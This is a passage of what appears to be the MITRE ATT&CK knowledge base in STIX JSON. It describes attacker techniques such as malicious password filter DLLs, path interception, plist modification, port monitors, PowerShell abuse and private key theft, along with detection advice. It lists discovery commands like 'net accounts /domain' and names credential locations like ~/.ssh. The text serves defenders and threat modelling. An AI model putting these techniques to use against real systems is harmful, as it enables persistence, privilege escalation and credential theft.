                    "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.",
                    "source_name": "GentilKiwi Pass the Ticket"
                },
                {
                    "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
                    "source_name": "CERT-EU Golden Ticket Protection"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Ryan Becwar",
                "Vincent Le Toux"
            ],
            "x_mitre_data_sources": [
                "Authentication logs"
            ],
            "x_mitre_detection": "Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)",
            "x_mitre_system_requirements": [
                "Requires Microsoft Windows as a target system and Kerberos authentication enabled."
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "lateral-movement",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:11.623Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Password Filter DLL",
            "description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)",
            "external_references": [
                {
                    "external_id": "T1174",
                    "url": "https://attack.mitre.org/techniques/T1174",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html",
                    "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
                    "source_name": "Carnal Ownage Password Filters Sept 2013"
                },
                {
                    "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/",
                    "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
                    "source_name": "Clymb3r Function Hook Passwords Sept 2013"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Vincent Le Toux"
            ],
            "x_mitre_data_sources": [
                "DLL monitoring",
                "Process monitoring",
                "Windows Registry"
            ],
            "x_mitre_detection": "Monitor for change notifications to and from unfamiliar password filters.\n\nNewly installed password filters will not take effect until after a system reboot.\n\nPassword filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "credential-access",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Password Policy Discovery",
            "description": "Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)\n\n### Windows\n* <code>net accounts</code>\n* <code>net accounts /domain</code>\n\n### Linux\n* <code>chage -l <username></code>\n* <code>cat /etc/pam.d/common-password</code>\n\n### macOS\n* <code>pwpolicy getaccountpolicies</code>",
            "external_references": [
                {
                    "external_id": "T1201",
                    "url": "https://attack.mitre.org/techniques/T1201",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu",
                    "description": "Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.",
                    "source_name": "Superuser Linux Password Policies"
                },
                {
                    "url": "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines",
                    "description": "Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.",
                    "source_name": "Jamf User Password Policies"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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            "x_mitre_contributors": [
                "Sudhanshu Chauhan, @Sudhanshu_C"
            ],
            "x_mitre_data_sources": [
                "Process command-line parameters",
                "Process Monitoring"
            ],
            "x_mitre_detection": "Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
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                    "kill_chain_name": "mitre-attack"
                }
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            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Path Interception",
            "description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if <code>C:\\example path</code> precedes <code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).",
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                {
                    "external_id": "T1034",
                    "url": "https://attack.mitre.org/techniques/T1034",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-159",
                    "url": "https://capec.mitre.org/data/definitions/159.html",
                    "source_name": "capec"
                },
                {
                    "url": "http://support.microsoft.com/KB/103000",
                    "description": "Microsoft. (n.d.). CurrentControlSet\\Services Subkey Entries. Retrieved November 30, 2014.",
                    "source_name": "Microsoft Subkey"
                },
                {
                    "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464",
                    "description": "Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014.",
                    "source_name": "Baggett 2012"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/ms682425",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
                    "source_name": "Microsoft CreateProcess"
                },
                {
                    "url": "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120",
                    "description": "Hill, T. (n.d.). Windows NT Command Shell. Retrieved December 5, 2014.",
                    "source_name": "Hill NT Shell"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/ms687393",
                    "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.",
                    "source_name": "Microsoft WinExec"
                },
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                    "url": "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/",
                    "description": "Nagaraju, S. (2014, April 8). MS14-019 \u2013 Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016.",
                    "source_name": "TechNet MS14-019"
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                {
                    "url": "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx",
                    "description": "Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.",
                    "source_name": "MSDN Environment Property"
                },
                {
                    "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/",
                    "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.",
                    "source_name": "SecurityBoulevard Unquoted Services APR 2018"
                },
                {
                    "url": "https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/",
                    "description": "McFarland, R. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.",
                    "source_name": "SploitSpren Windows Priv Jan 2018"
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                "Process monitoring"
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            "x_mitre_contributors": [
                "Stefan Kanthak"
            ],
            "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_effective_permissions": [
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                "SYSTEM"
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                "User",
                "Administrator",
                "SYSTEM"
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            "x_mitre_platforms": [
                "Windows"
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            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
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                    "phase_name": "privilege-escalation",
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            "created": "2017-05-31T21:30:36.140Z",
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            "x_mitre_domains": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Peripheral Device Discovery",
            "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.",
            "external_references": [
                {
                    "external_id": "T1120",
                    "url": "https://attack.mitre.org/techniques/T1120",
                    "source_name": "mitre-attack"
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            "x_mitre_version": "1.0",
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "discovery",
                    "kill_chain_name": "mitre-attack"
                }
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:28.471Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Permission Groups Discovery",
            "description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n### Windows\n\nExamples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the [Net](https://attack.mitre.org/software/S0039) utility.\n\n### Mac\n\nOn Mac, this same thing can be accomplished with the <code>dscacheutil -q group</code> for the domain, or <code>dscl . -list /Groups</code> for local groups.\n\n### Linux\n\nOn Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command.",
            "external_references": [
                {
                    "external_id": "T1069",
                    "url": "https://attack.mitre.org/techniques/T1069",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-576",
                    "url": "https://capec.mitre.org/data/definitions/576.html",
                    "source_name": "capec"
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "API monitoring",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "discovery",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:55.471Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--06780952-177c-4247-b978-79c357fb311f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Plist Modification",
            "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)",
            "external_references": [
                {
                    "external_id": "T1150",
                    "url": "https://attack.mitre.org/techniques/T1150",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "source_name": "Sofacy Komplex Trojan"
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process Monitoring",
                "Process command-line parameters"
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            "x_mitre_detection": "File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.",
            "x_mitre_defense_bypassed": [
                "Application whitelisting",
                "Process whitelisting",
                "Whitelisting by file name or path"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Port Knocking",
            "description": "Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable a port, an adversary sends a series of packets with certain characteristics before the port will be opened. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports, but can involve unusual flags, specific strings or other unique characteristics. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. \n\nThis technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.",
            "external_references": [
                {
                    "external_id": "T1205",
                    "url": "https://attack.mitre.org/techniques/T1205",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631",
                    "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
                    "source_name": "Hartrell cd00r 2002"
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            ],
            "x_mitre_version": "1.0",
            "x_mitre_defense_bypassed": [
                "Defensive network service scanning"
            ],
            "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "persistence",
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                },
                {
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            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
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            "id": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Port Monitors",
            "description": "A port monitor can be set through the  (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. The Registry key contains entries for the following:\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.",
            "external_references": [
                {
                    "external_id": "T1013",
                    "url": "https://attack.mitre.org/techniques/T1013",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/dd183341",
                    "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.",
                    "source_name": "AddMonitor"
                },
                {
                    "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf",
                    "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint slides&#93;. Retrieved November 12, 2014.",
                    "source_name": "Bloxham"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Stefan Kanthak",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "API monitoring",
                "DLL monitoring",
                "Windows Registry",
                "Process monitoring"
            ],
            "x_mitre_detection": "* Monitor process API calls to  (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)",
            "x_mitre_effective_permissions": [
                "SYSTEM"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:26.057Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "id": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "PowerShell",
            "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)",
            "external_references": [
                {
                    "external_id": "T1086",
                    "url": "https://attack.mitre.org/techniques/T1086",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html",
                    "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.",
                    "source_name": "FireEye PowerShell Logging 2016"
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                {
                    "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx",
                    "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.",
                    "source_name": "TechNet PowerShell"
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                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
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                {
                    "url": "https://github.com/jaredhaight/PSAttack",
                    "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.",
                    "source_name": "Github PSAttack"
                },
                {
                    "url": "https://github.com/PowerShellEmpire/Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "source_name": "Github PowerShell Empire"
                },
                {
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "source_name": "Malware Archaeology PowerShell Cheat Sheet"
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            "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.",
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                "Windows Registry",
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters"
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                "User",
                "Administrator"
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            "x_mitre_remote_support": true,
            "x_mitre_platforms": [
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            "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\\Users\\(username)\\.ssh\\</code> on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)",
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                    "url": "https://en.wikipedia.org/wiki/Public-key_cryptography",
                    "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.",
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                    "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.",
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                    "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/",
                    "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.",
                    "source_name": "Palo Alto Prince of Persia"
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                "Windows"
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                {
                    "external_id": "T1057",
                    "url": "https://attack.mitre.org/techniques/T1057",
                    "source_name": "mitre-attack"
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                {
                    "external_id": "CAPEC-573",
                    "url": "https://capec.mitre.org/data/definitions/573.html",
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                "Process command-line parameters"
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            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
